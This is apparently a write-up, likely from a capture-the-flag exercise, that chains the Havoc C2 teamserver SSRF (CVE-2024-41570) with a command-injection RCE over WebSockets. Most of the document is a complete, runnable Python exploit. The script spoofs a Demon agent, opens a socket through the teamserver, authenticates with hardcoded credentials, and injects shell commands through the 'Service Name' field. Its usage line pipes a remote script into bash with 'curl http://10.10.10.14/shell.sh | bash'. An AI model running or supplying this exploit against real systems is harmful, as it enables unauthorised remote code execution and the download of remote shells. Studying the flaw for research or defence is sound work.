Havoc SSRF with RCE
Chaining CVE-2024-41570 SSRF with a RCE using websockets.
The PoC's
It is using the SSRF script to create a tcp socket, which is used to read/write data. In the SSRF script we find the write_socket and read_socket functions to send data. With that we can send http requests to 127.0.0.1/havoc/. The RCE script uses websockets, so we use the http request to upgrade to websockets and then format the json data into websocket frame and then we send that frame using the write_socket function.
The first CVE-2024-41570 SSRF
This vulnerability is a vulnerability in which unauthenticated attackers could create a TCP socket on the teamserver with any any IP/port, and read and write traffic through the socket. This could lead to leaking IP of the teamserver, routing traffic through listening socks proxies.
Register a fake agent with teamserver
Use the COMMAND_SOCKET functionality to create a socket
Read/write to that socket to communicate with arbitrary targets
Demon Agent
In havoc the Demon is the default agent which is deployed on compromised systems. Each agent type has backend code called a "handler" which processes and respons to messages (callbacks) from an agent. The handler become vulnerable when C2 operators create a listener which is over HTTP/HTTPS on port 80 or 443.
Havoc RCE
It start with importing the libraries and credentials needed for teamserver
import hashlib
import json
import ssl
from websocket import create_connection
HOSTNAME = "192.168.167.129"
PORT = 40056
USER = "Neo"
PASSWORD = "password1234"
Creates a secure wss:// WebSocket connection, ignores SSL.
ws = create_connection(f"wss://{HOSTNAME}:{PORT}/havoc/",
sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False})
Authentication, SHA3-256 password hashes
payload = {
"Body": {
"Info": {
"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(),
"User": USER
},
"SubEvent": 3
},
"Head": {
"Event": 1,
"OneTime": "",
"Time": "18:40:17",
"User": USER
}
}
# Send json using WS to server
ws.send(json.dumps(payload))
Create a listener on on HTTPS port 443 binding to all interfaces
payload = {
"Body":{
"Info":{
"HostBind":"0.0.0.0",
"Name":"abc",
"PortBind":"443",
"Protocol":"Https",
"Secure":"true"
# ... other settings
},
"SubEvent":1
},
"Head":{"Event":2}
}
Command injection loop
while True:
cmd = input("$ ")
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {
"Body": {
"Info": {
"AgentType": "Demon",
"Config": "... Service Name\":\"" + injection + "\"..."
}
}
}
Chaining the Scripts
First we have to add 2 functions. The websocket request and the websocket frame. The def create_websocket_request
. This builds the HTTP GET request to upgrade to WebSocket.
def create_websocket_request(host, port):
request = (
f"GET /havoc/ HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"\r\n"
).encode()
return request
The second function is the build_websocket_frame
which creates a WebSocket frame to send a payload over an openen WebSocket connection. This is the standard way WebSocket requires messages to be formatted before sending them over the network. In this case we will format JSON data which Havoc uses to WebSocket format.
def build_websocket_frame(payload):
data = payload.encode("utf-8")
frame = bytearray([0x81]) # FIN + Text frame
# Handle length
if len(data) <= 125:
frame.append(0x80 | len(data))
elif len(data) <= 65535:
frame.extend([0x80 | 126] + list(len(data).to_bytes(2, 'big')))
else:
frame.extend([0x80 | 127] + list(len(data).to_bytes(8, 'big')))
# Mask data
mask = os.urandom(4)
frame.extend(mask)
frame.extend(b ^ mask[i % 4] for i, b in enumerate(data))
return bytes(frame)
Total working script
# Usage
python3 script.py -t "https://target:80" -i "127.0.0.1" -p "40056" -c "curl http://10.10.10.14/shell.sh | bash"
Full script
import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
from Crypto.Cipher import AES
from Crypto.Util import Counter
import asyncio
# Disable HTTPS certificate warnings
urllib3.disable_warnings()
# The size of the AES key in bytes
key_bytes = 32
def decrypt(key, iv, ciphertext):
"""
Decrypt the given ciphertext using AES in CTR mode with the provided key and IV.
The key is padded with b'0' if its length is less than 32 bytes.
"""
# If the key is shorter than key_bytes (32 bytes), pad it with b'0'.
if len(key) <= key_bytes:
for _ in range(len(key), key_bytes):
key += b"0"
# The final key length must match key_bytes
assert len(key) == key_bytes
# Convert the IV from bytes to a large integer
iv_int = int(binascii.hexlify(iv), 16)
# Create a Counter object for CTR mode using the IV integer
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
# Create AES-CTR cipher object
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
# Decrypt the ciphertext
plaintext = aes.decrypt(ciphertext)
return plaintext
def encrypt(key, iv, plaintext):
"""
Encrypt the given plaintext using AES in CTR mode with the provided key and IV.
The key is padded with b'0' if its length is less than 32 bytes.
"""
# If the key is shorter than key_bytes (32 bytes), pad it with b'0'.
if len(key) <= key_bytes:
for _ in range(len(key), key_bytes):
key = key + b"0"
assert len(key) == key_bytes
# Convert the IV from bytes to a large integer
iv_int = int(binascii.hexlify(iv), 16)
# Create a Counter object for CTR mode using the IV integer
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
# Create AES-CTR cipher object
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
# Encrypt the plaintext
ciphertext = aes.encrypt(plaintext)
return ciphertext
def int_to_bytes(value, length=4, byteorder="big"):
return value.to_bytes(length, byteorder)
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
command = b"\x00\x00\x00\x63" # Command for registering an agent
request_id = b"\x00\x00\x00\x01" # Arbitrary request ID
demon_id = agent_id # Global agent ID
# Convert lengths to bytes (4 bytes, big-endian)
hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)
# Padding data (seems to be a fixed filler of 100 bytes)
data = b"\xab" * 100
# Build the header data as specified
header_data = (
command + request_id + AES_Key + AES_IV + demon_id +
hostname_length + hostname +
username_length + username +
domain_name_length + domain_name +
internal_ip_length + internal_ip +
process_name_length + process_name +
process_id + data
)
# Calculate the size of the entire package (12 bytes overhead + header_data)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
# Construct the final agent header
agent_header = size_bytes + magic + agent_id
print(agent_header + header_data)
print("[***] Trying to register agent...")
# Send a POST request to the teamserver
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")
def open_socket(socket_id, target_address, target_port):
"""
Open a socket on the teamserver by sending the appropriate command
with the provided socket_id, target_address, and target_port.
"""
# Socket open command constants
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"
# Reverse the order of target_address octets for the forward_addr
forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)
# Convert target_port to bytes
forward_port = int_to_bytes(target_port)
# Build the subcommand package
package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
package_size = int_to_bytes(len(package) + 4)
# Encrypt the package and build header data
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
# Calculate final size
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to open socket on the teamserver...")
# Send the request
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")
def write_socket(socket_id, data):
"""
Write data to the specified socket_id on the teamserver.
This constructs and sends the correct command structure for socket write.
"""
# Socket write command constants
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"
# Prepare the data length in bytes
data_length = int_to_bytes(len(data))
# Build the subcommand package
package = subcommand + socket_id + socket_type + success + data_length + data
package_size = int_to_bytes(len(package) + 4)
# Encrypt and build header data
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
# Calculate final size
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data
print(post_data)
print("[***] Trying to write to the socket")
# Send the request
r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")
def read_socket(socket_id):
"""
Read data from the specified socket_id on the teamserver.
This polls the teamserver for new data and decrypts the response.
"""
# Socket read command constants
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"
# Build the header data
header_data = command + request_id
# Calculate final size
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to poll teamserver for socket output...")
# Send the request
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
return b""
# Parse the response to extract encrypted data
command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]
# Decrypt and return data (trimming the first 12 bytes after decryption)
return decrypt(AES_Key, AES_IV, enc_package)[12:]
# Parse command-line arguments
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-c", "--command", help="The command to execute", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent",
default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
args = parser.parse_args()
# Global magic bytes 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
# HTTP header agent spoofing
headers = {
"User-Agent": args.user_agent
}
# Randomly generated agent ID
agent_id = int_to_bytes(random.randint(100000, 1000000))
# Global AES key and IV (currently just zeroed out)
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
# Convert spoofed agent details to bytes as needed
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))
# Register the agent with the teamserver
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))
"""
Build a standard WebSocket handshake HTTP request.
"""
def create_websocket_request(host, port):
ws_key = "5NUvQyzkv9bpu376gKd2Lg=="
request = (
f"GET /havoc/ HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {ws_key}\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"\r\n"
).encode()
return request
"""
Formats data/text for WebSocket
"""
def build_websocket_frame(payload):
data = payload.encode("utf-8")
frame = bytearray([0x81]) # FIN + Text frame
# Handle length
if len(data) <= 125:
frame.append(0x80 | len(data))
elif len(data) <= 65535:
frame.extend([0x80 | 126] + list(len(data).to_bytes(2, 'big')))
else:
frame.extend([0x80 | 127] + list(len(data).to_bytes(8, 'big')))
# Mask data
mask = os.urandom(4)
frame.extend(mask)
frame.extend(b ^ mask[i % 4] for i, b in enumerate(data))
return bytes(frame)
"""
Send json data in WebSocket format
"""
def send_payload(socket_id, payload):
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)
# Credentials/hosts
USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
# 1. Create a WebSocket handshake, upgrade from HTTP to WebSocket, establish connection.
websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request)
response = read_socket(socket_id)
# 2. Authenticate to teamserver
payload = payload = {"Body":{"Info":{"Password":hashlib.sha3_256(PASSWORD.encode()).hexdigest(),"User":USER},"SubEvent":3},"Head":{"Event":1,"OneTime":"","Time":"18:40:17","User":USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
print(read_socket(socket_id))
# 3. Send a payload with command injection in a service name
injection = """ \\\\\\\" -mbla; """ + args.command + """ 1>&2 && false #"""
payload = payload = {"Body":{"Info":{"AgentType":"Demon","Arch":"x64","Config":"{\"Amsi/Etw Patch\":\"None\",\"Indirect Syscall\":false,\"Injection\":{\"Alloc\":\"Native/Syscall\",\"Execute\":\"Native/Syscall\",\"Spawn32\":\"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\"Spawn64\":\"C:\\\\Windows\\\\System32\\\\notepad.exe\"},\"Jitter\":\"0\",\"Proxy Loading\":\"None (LdrLoadDll)\",\"Service Name\":\""+injection+"\",\"Sleep\":\"2\",\"Sleep Jmp Gadget\":\"None\",\"Sleep Technique\":\"WaitForSingleObjectEx\",\"Stack Duplication\":false}","Format":"Windows Service Exe","Listener":"zen"},"SubEvent":2},"Head":{"Event":5,"OneTime":"true","Time":"18:39:04","User":USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
print(read_socket(socket_id))
Last updated
Was this helpful?